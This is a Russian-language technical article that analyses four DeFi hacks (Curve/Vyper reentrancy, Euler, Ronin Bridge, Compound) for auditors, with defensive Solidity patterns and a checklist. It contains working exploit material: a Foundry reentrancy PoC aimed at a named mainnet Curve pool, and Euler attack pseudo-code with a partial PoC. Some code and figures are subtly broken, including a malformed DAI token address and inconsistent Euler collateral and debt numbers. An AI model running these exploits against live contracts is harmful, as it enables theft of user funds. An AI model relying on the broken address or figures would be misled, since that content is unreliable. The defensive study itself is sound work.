За 2024 год из DeFi-протоколов было похищено более $2.2 млрд. В первом полугодии 2025 года эта цифра уже превысила $2.17 млрд — и это только середина года. При этом 60%+ взломанных протоколов имели аудит от известных компаний.
Эта статья — не пересказ новостей. Это технический разбор четырёх ключевых эксплойтов, которые я воспроизводил в тестовой среде при подготовке к аудитам. Для каждого кейса разберём: корневую причину, почему это прошло аудит, как воспроизвести атаку в Foundry, и какие паттерны защиты реально работают.
Кейс 1: Vyper Compiler Bug — $70M из Curve Finance
Дата: 30 июля 2023
Потери: ~$70M (с учётом связанных протоколов — Alchemix, JPEG'd, Metronome)
Корневая причина: Баг в компиляторе Vyper версий 0.2.15, 0.2.16, 0.3.0
Почему этот кейс важен
Это не баг в коде протокола. Это баг в компиляторе. Reentrancy lock был написан корректно, но скомпилированный байткод работал неправильно. Ни один аудит смарт-контракта не мог это найти — проблема была уровнем ниже.
Техническая суть уязвимости
В Vyper декоратор @nonreentrant должен блокировать повторный вход в функцию через общий storage slot:
# Ожидаемое поведение: один lock для ключа "lock" @nonreentrant("lock") @external def add_liquidity(...): ... @nonreentrant("lock") @external def remove_liquidity(...): ...
Проблема в версии 0.2.15: при рефакторинге аллокации storage была удалена проверка на уникальность ключа.
Уязвимый код компилятора (v0.2.15):
# vyper/semantics/analysis/data_positions.py storage_slot = 0 for node in vyper_module.get_children(vy_ast.FunctionDef): type_ = node._metadata["type"] if type_.nonreentrant is not None: # BUG: не проверяет, что ключ уже аллоцирован type_.set_reentrancy_key_position(StorageSlot(storage_slot)) storage_slot += 1 # Каждая функция получает СВОЙ slot
Корректный код (до v0.2.15 и после v0.3.1):
if key in self._nonreentrant_keys: return self._nonreentrant_keys[key] # Возвращаем существующий slot # Только если ключ новый — аллоцируем
В результате функции add_liquidity и remove_liquidity с одинаковым ключом "lock" получали разные storage slots. Lock одной функции не блокировал другую.
Механика атаки
1. Attacker вызывает remove_liquidity() 2. remove_liquidity() устанавливает lock в slot 0 3. Внутри remove_liquidity() происходит callback (например, через ETH transfer) 4. В callback attacker вызывает add_liquidity() 5. add_liquidity() проверяет lock в slot 1 — он свободен! 6. add_liquidity() выполняется, манипулируя ценой LP-токенов 7. remove_liquidity() завершается с искажёнными данными
Воспроизведение в Foundry
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; interface ICurvePool { function add_liquidity(uint256[2] calldata amounts, uint256 min_mint) external payable returns (uint256); function remove_liquidity(uint256 amount, uint256[2] calldata min_amounts) external returns (uint256[2] memory); } contract VyperReentrancyExploit is Test { ICurvePool constant POOL = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); // stETH pool uint256 attackStage; function testExploit() public { // Fork mainnet at block before patch vm.createSelectFork("mainnet", 17800000); // Setup: получаем LP токены deal(address(this), 100 ether); uint256[2] memory amounts = [uint256(50 ether), uint256(0)]; uint256 lpReceived = POOL.add_liquidity{value: 50 ether}(amounts, 0); // Attack: remove_liquidity с reentrancy attackStage = 1; uint256[2] memory minAmounts = [uint256(0), uint256(0)]; // Это вызовет receive() при отправке ETH POOL.remove_liquidity(lpReceived, minAmounts); console.log("Profit:", address(this).balance - 50 ether); } receive() external payable { if (attackStage == 1) { attackStage = 2; // Reentrancy: add_liquidity во время remove_liquidity uint256[2] memory amounts = [uint256(1 ether), uint256(0)]; POOL.add_liquidity{value: 1 ether}(amounts, 0); } } }
Почему аудит не нашёл
Аудит проверяет исходный код, не байткод. В исходнике всё корректно
Компилятор — trusted component. Аудиторы не проверяют компиляторы
Баг существовал 2 года (с июля 2021 по июль 2023) без обнаружения
Паттерны защиты
1. Explicit mutex вместо декораторов:
contract SecurePool { uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = 2; uint256 private _status = NOT_ENTERED; modifier nonReentrant() { require(_status != ENTERED, "ReentrancyGuard: reentrant call"); _status = ENTERED; _; _status = NOT_ENTERED; } }
2. Invariant checks после каждой операции:
function remove_liquidity(uint256 lpAmount) external nonReentrant { uint256 totalSupplyBefore = totalSupply(); uint256 reservesBefore = getReserves(); // ... логика remove // Invariant: reserves/supply ratio не должен меняться более чем на X% _checkInvariant(totalSupplyBefore, reservesBefore); } function _checkInvariant(uint256 supplyBefore, uint256 reservesBefore) internal view { uint256 ratioBefore = reservesBefore * 1e18 / supplyBefore; uint256 ratioAfter = getReserves() * 1e18 / totalSupply(); uint256 deviation = ratioBefore > ratioAfter ? ratioBefore - ratioAfter : ratioAfter - ratioBefore; require(deviation < MAX_DEVIATION, "Invariant violation"); }
3. CEI + explicit transfer last:
function withdraw(uint256 amount) external nonReentrant { // Checks require(balances[msg.sender] >= amount, "Insufficient"); // Effects balances[msg.sender] -= amount; totalDeposits -= amount; emit Withdrawal(msg.sender, amount); // Interactions — ПОСЛЕДНИМИ (bool success,) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); }
Кейс 2: Euler Finance — $197M через donateToReserves
Дата: 13 марта 2023
Потери: $197M (крупнейший хак 2023 года на момент атаки)
Корневая причина: Отсутствие проверки health factor после donation
Техническая суть
Euler Finance — lending протокол с двумя типами токенов:
eTokens — представляют collateral (залог)
dTokens — представляют debt (долг)
Ключевая особенность Euler — возможность self-collateralized leverage: можно использовать заёмные средства как collateral для дальнейших займов. Максимальный leverage для self-collateralized позиций: 19x.
Уязвимая функция donateToReserves:
function donateToReserves(uint256 subAccountId, uint256 amount) external nonReentrant { address account = getSubAccount(msg.sender, subAccountId); // Проверяем баланс require(balanceOf(account) >= amount, "Insufficient balance"); // Сжигаем eTokens пользователя _burn(account, amount); // Добавляем в резервы reserves += amount; // BUG: НЕТ проверки health factor после операции! // checkLiquidity(account) — отсутствует }
Проблема: функция позволяла "пожертвовать" collateral в резервы протокола, при этом dTokens (долг) оставались на балансе. Это искусственно создавало bad debt.
Механика атаки (8 этапов)
// Pseudo-code атаки contract EulerExploit { IEuler euler; IERC20 dai; function exploit() external { // 1. Flash loan 30M DAI из Aave uint256 flashAmount = 30_000_000e18; aave.flashLoan(address(dai), flashAmount); } function executeOperation(uint256 amount) external { // 2. Deposit 20M DAI в Euler dai.approve(address(euler), 20_000_000e18); euler.deposit(0, 20_000_000e18); // Получаем ~19.5M eDAI // 3. Mint (leverage) — берём в долг 10x от депозита // Self-collateral factor = 0.95, позволяет до 19x leverage euler.mint(0, 195_600_000e18); // Теперь: 195.6M eDAI collateral, 200M dDAI debt // Health score: ~1.02 (всё ещё safe) // 4. Repay часть долга оставшимися 10M DAI euler.repay(0, 10_000_000e18); // dDAI уменьшился на 10M // 5. Mint снова euler.mint(0, 195_600_000e18); // eDAI: ~310M, dDAI: ~390M // 6. КЛЮЧЕВОЙ ШАГ: Donate 100M eDAI в резервы euler.donateToReserves(0, 100_000_000e18); // eDAI: ~210M, dDAI: ~390M (не изменился!) // Health score падает до ~0.75 — позиция UNDERWATER // 7. Liquidate через второй контракт // При health < 0.8 ликвидатор получает 20% bonus liquidator.liquidate(address(this)); // 8. Withdraw и возврат flash loan euler.withdraw(0, type(uint256).max); dai.transfer(address(aave), amount + fee); // Profit: ~8.87M DAI только из DAI pool // Атака повторена на других пулах } }
Математика атаки
Initial state after deposit + mint: Collateral (eDAI): 310,930,612 Debt (dDAI): 390,000,000 Health Score: 310.9M * 0.95 / 390M = 0.757 (но это ПОСЛЕ donate) Liquidation discount at health 0.75: 20% (максимум) Liquidator получает: eDAI worth 390M dDAI * 1.20 = 468M effective value Но реально забирает оставшиеся 210M eDAI + погашает часть dDAI Profit = Полученные активы - Flash loan - Fees
Foundry PoC
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "./interfaces/IEuler.sol"; contract EulerExploitTest is Test { // Mainnet addresses address constant EULER = 0x27182842E098f60e3D576794A5bFFb0777E025d3; address constant EULER_EXEC = 0x59828FdF7ee634AaaD3f58B19fDBa3b03E2D9d80; IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EescdeCB5); IEuler euler = IEuler(EULER); Violator violator; Liquidator liquidator; function setUp() public { // Fork at block before exploit vm.createSelectFork("mainnet", 16817995); violator = new Violator(); liquidator = new Liquidator(); } function testEulerExploit() public { // Get flash loan deal(address(DAI), address(this), 30_000_000e18); // Transfer to violator DAI.transfer(address(violator), 30_000_000e18); uint256 balanceBefore = DAI.balanceOf(address(this)); // Execute attack violator.attack(address(liquidator)); // Collect profits liquidator.withdraw(); violator.withdraw(); uint256 balanceAfter = DAI.balanceOf(address(this)); console.log("Profit:", (balanceAfter - balanceBefore) / 1e18, "DAI"); assertGt(balanceAfter, balanceBefore + 1_000_000e18); // > 1M profit } } contract Violator { function attack(address _liquidator) external { // ... implementation of steps 2-6 } function withdraw() external { // Transfer profits back } } contract Liquidator { function liquidate(address violator) external { // Execute liquidation with 20% bonus } function withdraw() external { // Transfer liquidation profits } }
Почему аудит не нашёл
Euler проходил аудиты от нескольких компаний. После взлома Sherlock (платформа аудита) признала ответственность и выплатила $4.5M компенсации.
Причины пропуска:
Функция выглядела безобидной — "donation" в резервы кажется операцией без риска
Сложное взаимодействие механик — self-collateral + donation + liquidation
Edge case в экстремальном leverage — нужен был 19x leverage для эксплуатации
Паттерны защиты
1. Health check после ЛЮБОГО изменения позиции:
function donateToReserves(uint256 subAccountId, uint256 amount) external nonReentrant { address account = getSubAccount(msg.sender, subAccountId); require(balanceOf(account) >= amount, "Insufficient"); _burn(account, amount); reserves += amount; // CRITICAL: проверка после операции require( checkLiquidity(account) >= MIN_HEALTH_FACTOR, "Health factor too low after donation" ); }
2. Invariant testing для lending протоколов:
// Foundry invariant test function invariant_noUnderwaterPositions() public { address[] memory users = getAllUsers(); for (uint i = 0; i < users.length; i++) { uint256 healthFactor = euler.getHealthFactor(users[i]); assertGe(healthFactor, 1e18, "Underwater position exists"); } } function invariant_reservesNeverNegative() public { assertGe(euler.reserves(), 0); } function invariant_totalSupplyMatchesDeposits() public { uint256 totalETokens = eToken.totalSupply(); uint256 totalUnderlyingValue = euler.getTotalDeposits(); // С учётом accumulated interest assertApproxEqRel(totalETokens, totalUnderlyingValue, 0.01e18); }
3. Rate limiting для критических операций:
mapping(address => uint256) public lastDonationTime; uint256 public constant DONATION_COOLDOWN = 1 hours; uint256 public constant MAX_DONATION_PERCENT = 10; // 10% от позиции function donateToReserves(uint256 amount) external { require( block.timestamp >= lastDonationTime[msg.sender] + DONATION_COOLDOWN, "Cooldown active" ); require( amount <= balanceOf(msg.sender) * MAX_DONATION_PERCENT / 100, "Donation too large" ); lastDonationTime[msg.sender] = block.timestamp; // ... rest of logic }
Кейс 3: Ronin Bridge — $625M через компрометацию валидаторов
Дата: 23 марта 2022 (обнаружено 29 марта)
Потери: 173,600 ETH + 25.5M USDC (~$625M)
Корневая причина: Компрометация 5 из 9 приватных ключей валидаторов
Почему этот кейс в статье про смарт-контракты
Ronin Bridge технически работал корректно. Уязвимость была в архитектуре и операционной безопасности. Это критически важный урок: безопасность протокола не ограничивается кодом.
Архитектура Ronin Bridge
Ronin Sidechain Ethereum Mainnet │ │ │ ┌─────────────────────┐ │ │ │ Ronin Bridge │ │ │ │ Contract │ │ │ │ │ │ │ │ Validators (9): │ │ │ │ - Sky Mavis (4) │ │ │ │ - Axie DAO (1) │ │ │ │ - External (4) │ │ │ │ │ │ │ │ Threshold: 5/9 │ │ │ └─────────────────────┘ │ │ │
Критическая проблема #1: 4 из 9 валидаторов контролировались одной компанией (Sky Mavis).
Критическая проблема #2: Порог 5/9 означал, что нужен только +1 валидатор для полного контроля.
Как произошла компрометация
Timeline: ───────────────────────────────────────────────────────────── Nov 2021: Sky Mavis просит Axie DAO подписывать транзакции от их имени (из-за высокой нагрузки) Axie DAO добавляет Sky Mavis в allowlist Dec 2021: Временный доступ должен быть отозван BUG: Allowlist access НЕ был отозван Mar 2022: Атакующий получает доступ к Sky Mavis через их gas-free RPC node (социальная инженерия/фишинг) 4 ключа Sky Mavis + 1 ключ Axie DAO (через allowlist) = 5/9 валидаторов 23 Mar: Атакующий подписывает withdrawal 173,600 ETH + 25.5M USDC 29 Mar: Пользователь сообщает о невозможности вывести 5000 ETH Взлом обнаружен через 6 ДНЕЙ после факта
Уязвимый код bridge
// Simplified Ronin Bridge validation contract RoninBridge { uint256 public constant THRESHOLD = 5; address[9] public validators; function withdraw( address token, uint256 amount, address recipient, bytes[] calldata signatures ) external { bytes32 hash = keccak256(abi.encodePacked(token, amount, recipient, nonce++)); uint256 validSigs = 0; address lastSigner = address(0); for (uint i = 0; i < signatures.length; i++) { address signer = recoverSigner(hash, signatures[i]); // Проверка: подписант является валидатором require(isValidator(signer), "Invalid validator"); // Проверка: подписи идут в порядке возрастания (защита от дублей) require(signer > lastSigner, "Invalid signature order"); lastSigner = signer; validSigs++; } // Если >= 5 подписей — выполняем вывод require(validSigs >= THRESHOLD, "Not enough signatures"); // Transfer funds IERC20(token).transfer(recipient, amount); } }
Код технически корректен. Проблема в том, что 5 ключей были скомпрометированы.
Математика выбора threshold
Для M-of-N multisig схемы:
Security = вероятность, что атакующий НЕ получит M ключей При 5/9: - Sky Mavis контролирует 4 ключа - Компрометация Sky Mavis + 1 любого = полный контроль - Эффективный threshold: 1 (один дополнительный ключ) При 7/9: - Атакующему нужно 7 ключей - Даже компрометация Sky Mavis (4) недостаточна - Нужно ещё 3 независимых ключа
Рекомендация: Threshold должен быть > 2/3 и ни одна сторона не должна контролировать > (N - M) ключей.
Паттерны защиты для bridge архитектуры
1. Timelocked withdrawals + Guardian veto:
contract SecureBridge { uint256 public constant TIMELOCK_DELAY = 24 hours; uint256 public constant LARGE_WITHDRAWAL_THRESHOLD = 10_000 ether; mapping(bytes32 => uint256) public withdrawalQueue; mapping(bytes32 => bool) public guardianVeto; address public guardian; // Independent security council function initiateWithdrawal( address token, uint256 amount, address recipient, bytes[] calldata signatures ) external { // Validate signatures (как раньше) require(validateSignatures(...), "Invalid signatures"); bytes32 withdrawalId = keccak256(abi.encodePacked( token, amount, recipient, block.timestamp )); if (amount >= LARGE_WITHDRAWAL_THRESHOLD) { // Крупные withdrawals идут через timelock withdrawalQueue[withdrawalId] = block.timestamp + TIMELOCK_DELAY; emit WithdrawalQueued(withdrawalId, token, amount, recipient); } else { // Мелкие — мгновенно _executeWithdrawal(token, amount, recipient); } } function executeQueuedWithdrawal(bytes32 withdrawalId) external { require(withdrawalQueue[withdrawalId] != 0, "Not queued"); require(block.timestamp >= withdrawalQueue[withdrawalId], "Timelock active"); require(!guardianVeto[withdrawalId], "Vetoed by guardian"); // Execute... } function veto(bytes32 withdrawalId) external { require(msg.sender == guardian, "Only guardian"); guardianVeto[withdrawalId] = true; emit WithdrawalVetoed(withdrawalId); } }
2. Withdrawal rate limiting:
contract RateLimitedBridge { uint256 public constant DAILY_LIMIT = 50_000 ether; uint256 public constant PERIOD = 1 days; uint256 public currentPeriodStart; uint256 public currentPeriodWithdrawals; function withdraw(uint256 amount) internal { _updatePeriod(); require( currentPeriodWithdrawals + amount <= DAILY_LIMIT, "Daily limit exceeded" ); currentPeriodWithdrawals += amount; // Execute withdrawal... } function _updatePeriod() internal { if (block.timestamp >= currentPeriodStart + PERIOD) { currentPeriodStart = block.timestamp; currentPeriodWithdrawals = 0; } } }
3. Distributed key management:
// Validator distribution requirements contract ValidatorRegistry { struct ValidatorInfo { address addr; string organization; string jurisdiction; bool isActive; } mapping(address => ValidatorInfo) public validators; // Constraints: // - No organization can have > 20% of validators // - Validators must be in >= 3 different jurisdictions // - Key rotation required every 90 days function addValidator( address addr, string calldata org, string calldata jurisdiction ) external onlyGovernance { require( getOrgValidatorCount(org) < totalValidators() / 5, "Org limit exceeded" ); require( jurisdictionCount() >= 3, "Need more jurisdictions" ); validators[addr] = ValidatorInfo(addr, org, jurisdiction, true); } }
Кейс 4: Compound Finance — $160M из-за > вместо >=
Дата: 30 сентября 2021
Потери: ~$160M в COMP токенах
Корневая причина: Один символ в условии — > вместо >=
Почему этот кейс критически важен
Это не сложная атака. Это не flash loan. Это не reentrancy. Это опечатка, которая прошла:
Code review
Тестирование
Аудит
Governance процесс
Mainnet deployment
Контекст: как работает COMP distribution
Compound распределяет COMP токены пользователям за supply и borrow. До Proposal 62 distribution был 50/50. Proposal 62 позволял governance устанавливать разные rates.
Уязвимый код после Proposal 62:
function distributeSupplierComp( address cToken, address supplier ) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint256 supplyIndex = supplyState.index; uint256 supplierIndex = compSupplierIndex[cToken][supplier]; compSupplierIndex[cToken][supplier] = supplyIndex; if (supplierIndex == 0 && supplyIndex > compInitialIndex) { // Новый supplier — устанавливаем начальный index supplierIndex = compInitialIndex; } // BUG: должно быть >= if (supplyIndex > supplierIndex) { // <-- ЗДЕСЬ uint256 deltaIndex = supplyIndex - supplierIndex; uint256 supplierTokens = CToken(cToken).balanceOf(supplier); uint256 supplierDelta = supplierTokens * deltaIndex / 1e36; compAccrued[supplier] += supplierDelta; } }
В чём баг:
Scenario: supplierIndex = 0 (default для нового пользователя) supplyIndex = 1e36 (initialIndex) Условие: supplyIndex > supplierIndex 1e36 > 0 = TRUE Результат: deltaIndex = 1e36 - 0 = 1e36 Пользователь получает rewards за ВЕСЬ период с момента запуска протокола, хотя только что присоединился
Корректный код:
// Правильная проверка if (supplierIndex > 0 && supplyIndex >= supplierIndex) { // Accrual только для существующих пользователей uint256 deltaIndex = supplyIndex - supplierIndex; // ... }
Или с использованием >=:
if (supplyIndex >= supplierIndex && supplierIndex > 0) { // ... }
Почему исправление заняло неделю
Timeline: ───────────────────────────────────────────────────────────── Sep 30: Proposal 62 исполняется, баг активен Пользователи начинают claim неправомерные rewards Compound Labs обнаруживает проблему Sep 30: Robert Leshner: "There are no admin controls to disable COMP distribution. Any changes require 7-day governance process." Oct 2: Proposal 63 создан — временно отключает distribution Oct 3: Proposal 64 создан — patch fix Oct 9: Proposal 64 исполняется (7 дней governance delay) ───────────────────────────────────────────────────────────── Итого: 9 дней от обнаружения до исправления
За это время было выведено ~490,000 COMP (~$160M).
Foundry тест для обнаружения
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; contract CompoundBugTest is Test { // Simplified Comptroller for demonstration uint256 constant INITIAL_INDEX = 1e36; mapping(address => mapping(address => uint256)) compSupplierIndex; mapping(address => uint256) compAccrued; // Vulnerable version function distributeSupplierCompVulnerable( address cToken, address supplier, uint256 supplyIndex, uint256 balance ) public { uint256 supplierIndex = compSupplierIndex[cToken][supplier]; compSupplierIndex[cToken][supplier] = supplyIndex; if (supplierIndex == 0 && supplyIndex > INITIAL_INDEX) { supplierIndex = INITIAL_INDEX; } // BUG: > instead of >=, and no check for supplierIndex > 0 if (supplyIndex > supplierIndex) { uint256 deltaIndex = supplyIndex - supplierIndex; uint256 supplierDelta = balance * deltaIndex / 1e36; compAccrued[supplier] += supplierDelta; } } // Fixed version function distributeSupplierCompFixed( address cToken, address supplier, uint256 supplyIndex, uint256 balance ) public { uint256 supplierIndex = compSupplierIndex[cToken][supplier]; compSupplierIndex[cToken][supplier] = supplyIndex; if (supplierIndex == 0 && supplyIndex >= INITIAL_INDEX) { supplierIndex = INITIAL_INDEX; } // FIXED: >= and check for initialized supplier if (supplierIndex > 0 && supplyIndex >= supplierIndex) { uint256 deltaIndex = supplyIndex - supplierIndex; uint256 supplierDelta = balance * deltaIndex / 1e36; compAccrued[supplier] += supplierDelta; } } function testVulnerability() public { address cToken = address(0x1); address newUser = address(0x2); uint256 balance = 1_000_000e18; // 1M cTokens // Supply index накопился за время работы протокола uint256 currentSupplyIndex = 2e36; // 2x от initial // Новый пользователь (supplierIndex = 0) // Vulnerable: новый пользователь получает rewards distributeSupplierCompVulnerable(cToken, newUser, currentSupplyIndex, balance); uint256 vulnAccrued = compAccrued[newUser]; console.log("Vulnerable accrued:", vulnAccrued / 1e18); // Reset compAccrued[newUser] = 0; compSupplierIndex[cToken][newUser] = 0; // Fixed: новый пользователь НЕ получает rewards distributeSupplierCompFixed(cToken, newUser, currentSupplyIndex, balance); uint256 fixedAccrued = compAccrued[newUser]; console.log("Fixed accrued:", fixedAccrued / 1e18); assertGt(vulnAccrued, 0, "Vulnerable version gives rewards"); assertEq(fixedAccrued, 0, "Fixed version gives no rewards"); } }
Как ловить такие баги
1. Boundary value testing:
function test_boundaryValues() public { // Test: supplierIndex = 0 (new user) // Test: supplierIndex = initialIndex (just initialized) // Test: supplierIndex = supplyIndex (no change) // Test: supplierIndex > supplyIndex (shouldn't happen but test) uint256[] memory supplierIndexes = new uint256[](4); supplierIndexes[0] = 0; supplierIndexes[1] = INITIAL_INDEX; supplierIndexes[2] = CURRENT_INDEX; supplierIndexes[3] = CURRENT_INDEX + 1; for (uint i = 0; i < supplierIndexes.length; i++) { // Test each boundary testDistribution(supplierIndexes[i]); } }
2. Invariant: total distributed <= total allocated:
function invariant_distributionNeverExceedsAllocation() public { uint256 totalDistributed = getTotalDistributedComp(); uint256 totalAllocated = COMP.balanceOf(address(comptroller)); assertLe( totalDistributed, totalAllocated + INITIAL_ALLOCATION, "Distributed more than allocated" ); }
3. Differential testing:
function testDifferential_oldVsNew( address supplier, uint256 supplyIndex, uint256 balance ) public { // Fuzz inputs vm.assume(balance > 0 && balance < type(uint128).max); vm.assume(supplyIndex >= INITIAL_INDEX); // Compare old and new implementation uint256 oldResult = oldComptroller.distributeSupplierComp(...); uint256 newResult = newComptroller.distributeSupplierComp(...); // New implementation should never give MORE rewards assertLe(newResult, oldResult + ACCEPTABLE_DELTA); }
Практический раздел: Чеклист аудитора
После анализа сотен эксплойтов, вот consolidated чеклист, который я использую:
Reentrancy (все типы)
□ Все external calls после state changes (CEI pattern) □ nonReentrant модификатор на функциях с transfers □ Cross-function reentrancy: проверить ВСЕ функции с shared state □ Cross-contract reentrancy: проверить callbacks в external contracts □ Read-only reentrancy: view функции не используются для pricing во время mutation
Access Control
□ Все privileged функции защищены модификаторами □ Ownership transfer — two-step pattern □ Timelock на критические операции (> $X value) □ Emergency pause mechanism существует □ Guardian/multisig не имеет unlimited power □ Key distribution: ни одна сторона не контролирует > threshold-1 ключей
Math & Logic
□ Overflow в unchecked блоках □ Division before multiplication □ Rounding direction (в пользу протокола, не пользователя) □ Precision loss в calculations □ Edge cases: zero values, max values, boundary conditions □ Все >= vs > vs == операторы проверены на корректность
External Interactions
□ Return values проверяются (особенно для non-standard ERC20) □ Low-level calls с проверкой success □ Assumptions о external contracts задокументированы и проверены □ Oracle freshness validation □ Oracle deviation checks (multiple oracles) □ Fallback mechanisms при oracle failure
Protocol-Specific (Lending)
□ Health factor проверяется после КАЖДОЙ операции □ Liquidation logic корректна при extreme values □ Interest accrual не создаёт overflow □ Flash loan resistance (price manipulation) □ Self-collateral loops ограничены
Protocol-Specific (Bridges)
□ Validator distribution достаточно decentralized □ Threshold выбран корректно (> 2/3) □ Timelock на large withdrawals □ Rate limiting на withdrawals □ Guardian veto mechanism □ Monitoring и alerting настроены
Заключение
Четыре разобранных кейса показывают разные классы уязвимостей:
Кейс | Класс | Сложность обнаружения | Защита |
|---|---|---|---|
Curve/Vyper | Compiler bug | Невозможно через code audit | Мониторинг compiler versions, formal verification |
Euler | Business logic | Высокая (complex interactions) | Invariant testing, comprehensive health checks |
Ronin | Architecture/OpSec | Средняя (требует threat modeling) | Distributed key management, timelocks |
Compound | Typo/Logic error | Низкая (boundary testing ловит) | Thorough testing, differential testing |
Главный вывод: Аудит — это baseline, не гарантия. После аудита нужны:
Bug bounty — Immunefi, HackerOne
Runtime monitoring — Forta, OpenZeppelin Defender
Incident response plan — что делать, когда (не если) найдут баг
Continuous security — повторные аудиты при изменениях
Ресурсы
Если вы работаете над DeFi-протоколом и хотите обсудить безопасность — контакты в профиле. Также буду рад обратной связи по статье в комментариях.
